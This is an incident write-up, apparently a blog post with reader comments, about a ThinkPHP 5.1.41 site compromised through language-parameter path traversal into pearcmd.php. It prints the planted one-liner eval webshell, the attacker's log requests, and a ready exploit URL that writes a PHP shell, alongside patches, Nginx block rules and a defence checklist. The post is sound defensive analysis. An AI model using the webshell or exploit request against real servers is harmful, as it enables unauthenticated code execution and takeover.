ThinkPHP 5.1.41 Multilingual RCE Vulnerability Exploitation: From Breach to Root Cause Analysis and Remediation
On April 8, 2026, during routine security inspections of multiple ThinkPHP sites on the server, three malicious files were discovered in the public directory of the thinkphp5.1 site:
| File | Type | Risk Level |
|---|---|---|
9.php | One-liner Webshell | 🔴 Critical |
q9.php | File Manager Webshell | 🔴 Critical |
5.php | Adminer Database Management Tool | 🟡 High |
The 9.php file consists of only one line of code:
<?php @eval(base64_decode($_POST[1]));echo 8;?>The q9.php file is a complete file manager Webshell of approximately 400 lines with the following capabilities:
open_basedirbypass (throughmkdir+chdir+ini_setchain)- XOR encrypted communication (to evade WAF detection)
- File browsing, editing, uploading, downloading, deletion, and permission modification
- Self-destruct functionality
This is not the work of a script kiddie, but a mature penetration tool.
I. Source Tracing: How Did the Attacker Get In
Clues in the Logs
In the ThinkPHP runtime error logs, critical evidence was discovered:
[2026-03-25T17:16:39+09:00] 134.122.173.185 GET 8.213.212.93:88/?lang=../../../../../usr/local/php/pearcmd
[2026-03-25T17:16:45+09:00] 134.122.173.185 GET 8.213.212.93:88/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/safedog()+IbLLhEABVr.logAttacker IP 134.122.173.185 launched a ThinkPHP multi-language file inclusion attack on March 25th, exploiting pearcmd.php to write a Webshell.
Vulnerability Principle
This is a classic ThinkPHP 5 vulnerability (CVE-2022-38352), with the attack chain as follows:
Step One: Multi-language Parameter Injection
ThinkPHP 5.1's Lang::detect() method obtains the language parameter from $_GET['lang']:
// thinkphp/library/think/Lang.php
public function detect()
{
$langSet = '';
if (isset($_GET[$this->langDetectVar])) {
// language variable set in url
$langSet = strtolower($_GET[$this->langDetectVar]);
}
// ...
if (empty($this->allowLangList) || in_array($langSet, $this->allowLangList)) {
$this->range = $langSet ?: $this->range;
}
return $this->range;
}The problem is: no filtering is applied to $langSet. When allowLangList is empty (the default case), any value is accepted.
Step Two: Path Traversal → File Inclusion
App::loadLangPack() concatenates the language parameter into the file path:
protected function loadLangPack()
{
if ($this->config('app.lang_switch_on')) {
$this->lang->detect();
}
$this->request->setLangset($this->lang->range());
// Load language pack — user input is concatenated directly here
$this->lang->load([
$this->thinkPath . 'lang/' . $this->request->langset() . '.php',
$this->appPath . 'lang/' . $this->request->langset() . '.php',
]);
}The Lang::load() method loads the file using include:
public function load($file, $range = '')
{
foreach ($file as $_file) {
if (is_file($_file)) {
$_lang = include $_file; // Dangerous! Directly includes user-controllable path
}
}
}When the attacker passes ?lang=../../../../../usr/local/php/pearcmd, the actual loaded path becomes:
thinkphp/lang/../../../../../usr/local/php/pearcmd.php
→ /usr/local/php/pearcmd.phpStep Three: Exploiting pearcmd to Write Webshell
pearcmd.php is PHP's built-in PEAR package manager command-line tool. When included, it parses $_SERVER['argv'] (from URL query string), allowing attackers to use the config-create command to write arbitrary content to a file:
GET /?+config-create+/<?php+eval($_POST[1]);?>+/var/www/html/shell.php&lang=../../../../../usr/local/lib/php/pearcmdThis is how 9.php and q9.php were written.
Triggering Conditions
This vulnerability requires all of the following conditions to be met simultaneously:
- ✅ ThinkPHP 5.x (in this case, 5.1.41 LTS)
- ✅
lang_switch_onconfiguration set totrue - ✅
allow_lang_listis empty (default value) - ✅
pearcmd.phpexists on the server (present in most PHP installations)
All 5 TP5 sites on our server met these conditions.
II. Impact Scope
A comprehensive scan of all sites on the server was performed:
ThinkPHP 5.1.41 sites (vulnerable to RCE):
├── hotel.dev ← Compromised, Webshell found
├── us1us1.dev ← Vulnerable, no signs of compromise
├── us2us2.dev ← Vulnerable, no signs of compromise
├── us3us3.dev ← Vulnerable, no signs of compromise
└── us5us5.dev ← Vulnerable, no signs of compromise
ThinkPHP 3.2.3 sites (not affected by this vulnerability, but have other issues):
├── dream.dev
├── blue.kuai
├── henry.dev
├── langdang.dev
├── wannuo.dev
├── coin.dev
└── /www/wwwroot/dreamhotel.dev was likely selected because its app_debug was enabled, exposing framework version and path information through error messages.
III. Remediation Plan
Fix One: Patch Lang.php (Core Fix)
Add path traversal filtering to the detect() method:
public function detect()
{
$langSet = '';
if (isset($_GET[$this->langDetectVar])) {
$langSet = strtolower($_GET[$this->langDetectVar]);
} elseif (isset($_COOKIE[$this->langCookieVar])) {
$langSet = strtolower($_COOKIE[$this->langCookieVar]);
} elseif (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
preg_match('/^([a-z\d\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches);
if (isset($this->acceptLanguage[$langSet])) {
$langSet = $this->acceptLanguage[$langSet];
}
}
// ========== Security Fix ==========
// Filter path traversal characters
$langSet = str_replace(["..", "/", "\\"], "", $langSet);
// Whitelist: only allow letters, numbers, underscores, and hyphens
if (!preg_match("/^[a-zA-Z0-9_\-]+$/", $langSet)) {
$langSet = "";
}
// ==============================
if (empty($this->allowLangList) || in_array($langSet, $this->allowLangList)) {
$this->range = $langSet ?: $this->range;
}
return $this->range;
}This patch provides two layers of protection:
str_replaceremoves path traversal characters like../,/,\- Regex whitelist ensures only valid language identifiers (such as
zh-cn,en-us) can pass through
Fix Two: Nginx Layer Interception (Defense in Depth)
Add security.conf in Nginx's extension directory:
# Block ThinkPHP multi-language RCE attacks
if ($args ~* "lang=.*\.\./") {
return 403;
}
# Block direct access to .php files (except index.php)
location ~* ^/(?!index\.php)[^/]+\.php$ {
return 403;
}The second rule is particularly important — even if attackers write PHP files through other means, they cannot directly access and execute them via URL.
Fix Three: Disable Debug Mode
// config/app.php
'app_debug' => false,Debug mode exposes complete error stacks, framework versions, and file paths — essentially providing attackers with a roadmap.
Fix Four: Disable Debug Backdoors
The ThinkPHP.php file in TP3 sites contains a debug backdoor:
// Before fix — anyone accessing ?debug=tw_debug can enable debugging
if (isset($_GET['debug']) && $_GET['debug'] === 'tw_debug') {
setcookie('ADBUG','tw_debug',time()+ 60*3600);
exit('ok');
}
// After fix
if (false) { // DISABLED: debug backdoor removedIV. Verification
Verify that attacks are blocked after applying fixes:
# Test path traversal — should return 403
$ curl -s -o /dev/null -w "%{http_code}" "http://127.0.0.1:99/?lang=../../../../../etc/passwd"
403
# Test direct PHP file access — should return 403
$ curl -s -o /dev/null -w "%{http_code}" "http://example.com/test.php"
403V. Lessons Learned
Why the ThinkPHP Site Was Compromised While Others Weren't
app_debug = trueexposed framework information- The domain
hotel.stacam.orgis resolved through Cloudflare, but Cloudflare's free WAF tier does not block this type of attack - Attackers may have been performing bulk scans of ThinkPHP sites
Defense Checklist
- [ ] Upgrade ThinkPHP to the latest version (fundamental solution)
- [X] Patch the
detect()method inLang.php - [X] Prevent direct access to non-entry PHP files at Nginx layer
- [X] Disable debug mode in all production environments
- [X] Remove debug backdoors
- [X] Check and clean up existing Webshells
- [X] Check for system-level backdoors (crontab, processes, /tmp)
- [ ] Configure
allow_lang_listwhitelist to only allow actually used languages - [ ] Delete
pearcmd.phpfrom the server (if PEAR is not needed) - [ ] Perform regular security scans
Summary
ThinkPHP's multi-language feature is enabled by default with no filtering, which combined with pearcmd.php can achieve unauthenticated RCE. If you are still using ThinkPHP 5.x, go check your lang_switch_on configuration now. 📝 本文来自抖文 www.douwen.me ,转载请保留出处。
原文链接:https://douwen.me/archives/731/
💬 评论 (7)
This is exactly the kind of detailed post we need. Clear timeline, organized findings, and actionable remediation steps. Bookmarking this for our team.|
Wait, April 8, 2026? Isn't that in the future? Or is this a typo and should be 2024 or 2025?|
I've been burned by ThinkPHP vulnerabilities before. The multilingual RCE vector is nasty because most developers don't consider language parameters as attack surfaces. Great catch on documenting the exploitation chain from initial breach through root cause.|
Honestly felt a chill reading about those webshells being discovered. How long do you think they were active before detection? The file manager shell especially suggests persistent access.|
Can someone ELI5 why a "one-liner webshell" is more dangerous than a file manager one? Isn't a file manager shell more powerful since you can browse and modify files?|
The risk level indicators and table format make this immediately useful for incident reports. One suggestion though—would be helpful to see the actual CVE reference and CVSS score. Still, excellent breakdown of the vulnerability mechanics and remediation approach.|
This hits home. We're still running 5.1 on a legacy application and now I'm genuinely worried. Article clearly explains the vulnerability but I need to know: is there a patch available or do we need to migrate entirely?|